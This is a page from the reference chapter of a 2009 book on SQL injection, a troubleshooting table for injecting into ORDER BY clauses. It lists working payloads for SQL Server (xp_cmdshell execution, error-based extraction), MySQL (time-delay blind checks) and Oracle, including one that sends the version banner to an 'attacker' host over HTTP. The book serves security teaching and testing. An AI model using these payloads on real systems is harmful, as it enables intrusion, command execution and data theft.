SQL Injection Attacks and Defense - 2009

444 Chapter 10 • References
Table 10.20 Continued. Troubleshooting SQL Injection Reference
Error/Challenge
Your injected data is being
placed to the right-hand side
of an ORDER BY clause. Many
of the usual tricks such as
UNION SELECT will be
unsuccessful.
In this example, the following
SQL query is being executed
where the attacker’s data is
your injection point:
SELECT * FROM
products GROUP BY
attackers_data DESC
Solution
the execution of extended stored procedures,
can be conducted in this way.
ORDER BY 1; EXEC master..xp_cmdshell
'cmd'
Microsoft SQL Server can also be exploited
to return query result data via error messages.
When injecting into an ORDER BY clause the
following syntax can be used:
ORDER BY (1/(@@version));
-- return the version
ORDER BY 1/(SELECT TOP 1 name FROM
sysobjects WHERE xtype='U');
-- Return name from sysobjects
MySQL Server
Time-delay-based blind SQL injection
techniques can be used within an ORDER BY
clause. The following example will trigger
a time delay if the current user is root@
localhost:
ORDER BY(IF((SELECT user()=
'root@localhost'),sleep(2),1));
Oracle
The utl_http package can be used to
establish outbound HTTP connections over
any Transmission Control Protocol (TCP) port
of the attacker’s choosing. The following
ORDER BY clause establishes an HTTP
connection over port 1000 to the host
attacker; the HTTP request contains the
Oracle version banner within the request
path:
ORDER BY utl_http.request('http://attacker:
1000/'||( SELECT
banner FROM v$version WHERE
rownum=1))
The following ORDER BY clause will raise an
error containing the Oracle version banner:
ORDER BY utl_inaddr.get_host_name
((select banner from v$version where
rownum=1))
Continued